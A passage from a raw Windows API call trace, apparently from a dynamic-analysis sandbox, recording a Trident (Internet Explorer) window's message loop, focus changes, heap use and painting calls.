lpRect=0x30f390) returned 1 [0103.383] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0103.383] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0103.383] GetCurrentThreadId () returned 0xcd8 [0103.383] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0103.733] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0103.733] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0103.735] GetCapture () returned 0x0 [0103.735] WindowFromPoint (Point=0x181) returned 0x60018 [0103.735] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0103.735] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0103.735] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0103.735] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0103.735] GetCurrentThreadId () returned 0xcd8 [0103.735] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0104.006] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0104.006] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0104.006] GetCapture () returned 0x0 [0104.006] WindowFromPoint (Point=0x181) returned 0x60018 [0104.006] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0104.006] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0104.006] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0104.006] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0104.006] GetCurrentThreadId () returned 0xcd8 [0104.006] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0104.318] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0104.318] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0104.318] GetCapture () returned 0x0 [0104.318] WindowFromPoint (Point=0x181) returned 0x60018 [0104.318] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0104.318] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0104.318] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0104.318] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0104.318] GetCurrentThreadId () returned 0xcd8 [0104.318] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0104.644] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0104.644] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0104.644] GetCapture () returned 0x0 [0104.645] WindowFromPoint (Point=0x181) returned 0x60018 [0104.645] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0104.645] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0104.645] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0104.645] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0104.645] GetCurrentThreadId () returned 0xcd8 [0104.645] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0104.958] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0104.958] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0104.958] GetCapture () returned 0x0 [0104.958] WindowFromPoint (Point=0x181) returned 0x60018 [0104.958] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0104.958] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0104.958] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0104.958] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0104.958] GetCurrentThreadId () returned 0xcd8 [0104.958] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0105.254] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0105.254] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0105.254] GetCapture () returned 0x0 [0105.255] WindowFromPoint (Point=0x52c) returned 0x10104 [0105.255] IsChild (hWndParent=0x60018, hWnd=0x10104) returned 0 [0105.255] GetMessageTime () returned 233627 [0105.255] GetMessagePos () returned 0x2eb052c [0105.255] KillTimer (hWnd=0x60132, uIDEvent=0x2001) returned 1 [0105.255] GetCapture () returned 0x0 [0105.256] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0105.256] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ab90 [0105.256] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0105.256] GetCurrentThreadId () returned 0xcd8 [0105.256] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0105.256] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0105.257] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ac90 [0105.257] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ac90 | out: hHeap=0x7f0000) returned 1 [0105.257] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0105.257] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ac90 [0105.257] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ac90 | out: hHeap=0x7f0000) returned 1 [0105.257] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0105.257] NtdllDefWindowProc_W () returned 0x0 [0105.257] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ab90 | out: hHeap=0x7f0000) returned 1 [0105.257] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0141.924] NtdllDefWindowProc_W () returned 0x1 [0141.929] NtdllDefWindowProc_W () returned 0x0 [0141.929] NtdllDefWindowProc_W () returned 0x0 [0141.929] NtdllDefWindowProc_W () returned 0x0 [0141.930] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0141.930] GetParent (hWnd=0x60018) returned 0x201e6 [0141.930] GetParent (hWnd=0x201e6) returned 0x301fa [0141.930] GetParent (hWnd=0x301fa) returned 0x0 [0141.930] PostMessageW (hWnd=0x60018, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0141.930] GetMessageTime () returned 233627 [0141.930] GetMessagePos () returned 0x2eb052c [0141.930] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0141.931] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0141.931] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0141.931] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831d58 [0141.932] GetCurrentThreadId () returned 0xcd8 [0141.932] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0141.932] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0141.932] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x30f58c | out: plResult=0x30f58c) returned 0x1 [0141.932] NtdllDefWindowProc_W () returned 0x0 [0141.932] GetCurrentThreadId () returned 0xcd8 [0141.932] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0141.933] GetMessageTime () returned 233627 [0141.933] GetMessagePos () returned 0x2eb052c [0141.933] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f19c | out: plResult=0x30f19c) returned 0x0 [0141.933] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0141.933] GetMessageTime () returned 233627 [0141.933] GetMessagePos () returned 0x2eb052c [0141.933] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x30ebcc | out: plResult=0x30ebcc) returned 0x0 [0141.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0141.934] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0141.934] GetCurrentThreadId () returned 0xcd8 [0141.934] GetCurrentThreadId () returned 0xcd8 [0141.934] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0141.934] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0141.934] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0141.934] GetAncestor (hwnd=0x60018, gaFlags=0x2) returned 0x201e6 [0141.934] IsIconic (hWnd=0x201e6) returned 0 [0141.934] GetCurrentThreadId () returned 0xcd8 [0141.934] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0141.934] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0141.934] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0141.934] GetFocus () returned 0x0 [0141.934] EnumChildWindows (hWndParent=0x60018, lpEnumFunc=0x73670a73, lParam=0x30f5bc) returned 0 [0141.934] GetCurrentThreadId () returned 0xcd8 [0141.934] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0141.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0141.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0141.935] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0141.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0141.935] GetCurrentThreadId () returned 0xcd8 [0141.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0141.935] IsWinEventHookInstalled (event=0x8005) returned 0 [0141.936] GetCurrentThreadId () returned 0xcd8 [0141.936] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0142.024] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0142.024] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0142.024] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0142.049] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0142.049] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0142.049] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0142.049] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0ec, cPoints=0x1 | out: lpPoints=0x30f0ec) returned 13435063 [0142.049] BeginPaint (in: hWnd=0x60018, lpPaint=0x30f520 | out: lpPaint=0x30f520) returned 0x4010b37 [0142.049] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0142.049] GetCurrentThreadId () returned 0xcd8 [0142.049] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0142.049] GetCurrentThreadId () returned 0xcd8 [0142.049] IsRectEmpty (lprc=0x30f528) returned 0 [0142.049] CreateRectRgnIndirect (lprect=0x73507be0) returned 0xa040b27 [0142.049] GetRandomRgn (hdc=0x4010b37, hrgn=0xa040b27, i=4) returned 1 [0142.049] OffsetRgn (hrgn=0xa040b27, x=-183, y=-205) returned 2 [0142.050] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0142.050] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0142.050] IntersectRect (in: lprcDst=0x30f19c, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30f19c) returned 1 [0142.050] IntersectRect (in: lprcDst=0x30f18c, lprcSrc1=0x30f18c, lprcSrc2=0x30f078 | out: lprcDst=0x30f18c) returned 0 [0142.050] IsRectEmpty (lprc=0x30f18c) returned 1 [0142.050] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0142.050] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0142.050] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0142.050] GetDeviceCaps (hdc=0x4010b37, index=14) returned 1 [0142.050] GetDeviceCaps (hdc=0x4010b37, index=12) returned 32 [0142.050] GetRegionData (in: hrgn=0xa040b27, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30 [0142.050] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0142.050] GetRegionData (in: hrgn=0xa040b27, nCount=0x30, lpRgnData=0x83d828 | out: lpRgnData=0x83d828) returned 0x30 [0142.050] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x803e00 [0142.050] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x803e00 | out: hHeap=0x7f0000) returned 1 [0142.050] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0142.051] IntersectRect (in: lprcDst=0x30c7c4, lprcSrc1=0x30c7c4, lprcSrc2=0x30c794 | out: lprcDst=0x30c7c4) returned 1 [0142.051] IntersectRect (in: lprcDst=0x30c6f4, lprcSrc1=0x30c6f4, lprcSrc2=0x30c6c4 | out: lprcDst=0x30c6f4) returned 1 [0142.051] IntersectRect (in: lprcDst=0x30c650, lprcSrc1=0x30c650, lprcSrc2=0x8379b0 | out: lprcDst=0x30c650) returned 0 [0142.051] IntersectRect (in: lprcDst=0x30c728, lprcSrc1=0x30c728, lprcSrc2=0x837990 | out: lprcDst=0x30c728) returned 1 [0142.051] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0142.051] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0xe040bf6 [0142.051] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0142.051] SelectClipRgn (hdc=0x4010b37, hrgn=0xe040bf6) returned 2 [0142.051] IntersectRect (in: lprcDst=0x30c4fc, lprcSrc1=0x30c4fc, lprcSrc2=0x30c4cc | out: lprcDst=0x30c4fc) returned 1 [0142.051] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30c4ec | out: lprcDst=0x8379a0) returned 1 [0142.051] IntersectRect (in: lprcDst=0x30c338, lprcSrc1=0x30c338, lprcSrc2=0x837990 | out: lprcDst=0x30c338) returned 1 [0142.051] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0142.051] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0142.051] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0142.051] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0142.051] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0142.051] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0142.051] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0142.051] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0142.051] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0142.051] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0xc040a0b [0142.051] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0142.051] SelectClipRgn (hdc=0x6010a70, hrgn=0xc040a0b) returned 2 [0142.051] DeleteObject (ho=0xc040a0b) returned 1 [0142.051] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0142.051] PatBlt (hdc=0x6010a70, x=346, y=0, w=366, h=15, rop=0xf00021) returned 1 [0142.051] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0142.052] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0142.052] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0142.052] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0142.052] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0142.052] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0142.052] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0142.052] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0142.052] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0142.052] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0142.052] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0142.052] GetStockObject (i=8) returned 0x1b00016 [0142.052] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0142.052] GetROP2 (hdc=0x6010a70) returned 13 [0142.052] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0142.052] Rectangle (hdc=0x6010a70, left=346, top=0, right=713, bottom=16) returned 1 [0142.052] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0142.052] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0142.052] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0142.052] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0142.052] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0142.052] BitBlt (hdc=0x4010b37, x=0, y=277, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.052] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0142.052] DeleteObject (ho=0xe040bf6) returned 1 [0142.053] GetStockObject (i=15) returned 0x188000b [0142.053] SelectPalette (hdc=0x4010b37, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0142.053] EndPaint (hWnd=0x60018, lpPaint=0x30f520) returned 1 [0142.053] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0142.053] DeleteObject (ho=0xa040b27) returned 1 [0142.053] GetCurrentThreadId () returned 0xcd8 [0142.053] GetCurrentThreadId () returned 0xcd8 [0142.053] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0142.053] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0142.053] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0142.053] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0142.053] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0142.053] GetCurrentThreadId () returned 0xcd8 [0142.053] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0142.242] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0142.242] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0142.242] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0144.990] NtdllDefWindowProc_W () returned 0x0 [0144.990] NtdllDefWindowProc_W () returned 0x0 [0144.991] NtdllDefWindowProc_W () returned 0x0 [0144.991] NtdllDefWindowProc_W () returned 0x1 [0144.994] GetFocus () returned 0x0 [0144.994] SetFocus (hWnd=0x60018) returned 0x0 [0144.994] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0144.994] GetMessageTime () returned 270427 [0144.994] GetMessagePos () returned 0x1b40302 [0144.995] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30efdc | out: plResult=0x30efdc) returned 0x0 [0144.995] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0144.995] GetMessageTime () returned 270427 [0144.995] GetMessagePos () returned 0x1b40302 [0144.995] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x30ea0c | out: plResult=0x30ea0c) returned 0x0 [0144.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0144.995] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0144.995] GetCurrentThreadId () returned 0xcd8 [0144.996] GetCurrentThreadId () returned 0xcd8 [0144.996] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0144.996] GetMessageTime () returned 270427 [0144.996] GetMessagePos () returned 0x1b40302 [0144.996] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0144.996] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0144.996] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0144.997] GetCurrentThreadId () returned 0xcd8 [0144.997] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0144.997] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x30f3cc | out: plResult=0x30f3cc) returned 0x1 [0144.997] NtdllDefWindowProc_W () returned 0x0 [0144.997] GetCurrentThreadId () returned 0xcd8 [0144.997] NtdllDefWindowProc_W () returned 0x1 [0144.999] NtdllDefWindowProc_W () returned 0x0 [0144.999] NtdllDefWindowProc_W () returned 0x0 [0144.999] NtdllDefWindowProc_W () returned 0x0 [0144.999] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0144.999] GetParent (hWnd=0x60018) returned 0x201e6 [0144.999] GetParent (hWnd=0x201e6) returned 0x301fa [0144.999] GetParent (hWnd=0x301fa) returned 0x0 [0144.999] PostMessageW (hWnd=0x60018, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0144.999] GetMessageTime () returned 270427 [0144.999] GetMessagePos () returned 0x1b40302 [0145.000] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0145.000] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0145.000] GetCurrentThreadId () returned 0xcd8 [0145.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.000] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x30f58c | out: plResult=0x30f58c) returned 0x1 [0145.000] NtdllDefWindowProc_W () returned 0x0 [0145.001] GetCurrentThreadId () returned 0xcd8 [0145.001] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.001] GetMessageTime () returned 270427 [0145.001] GetMessagePos () returned 0x1b40302 [0145.001] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f19c | out: plResult=0x30f19c) returned 0x0 [0145.001] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.001] GetMessageTime () returned 270427 [0145.001] GetMessagePos () returned 0x1b40302 [0145.001] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x30ebcc | out: plResult=0x30ebcc) returned 0x0 [0145.002] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.002] GetCurrentThreadId () returned 0xcd8 [0145.002] GetCurrentThreadId () returned 0xcd8 [0145.002] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.002] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0145.002] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0145.002] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0145.002] GetCurrentThreadId () returned 0xcd8 [0145.002] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.002] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0145.002] GetMessageTime () returned 270427 [0145.002] GetMessagePos () returned 0x1b40302 [0145.002] GetCapture () returned 0x0 [0145.002] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0145.002] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0145.002] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0145.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0145.003] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0145.003] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 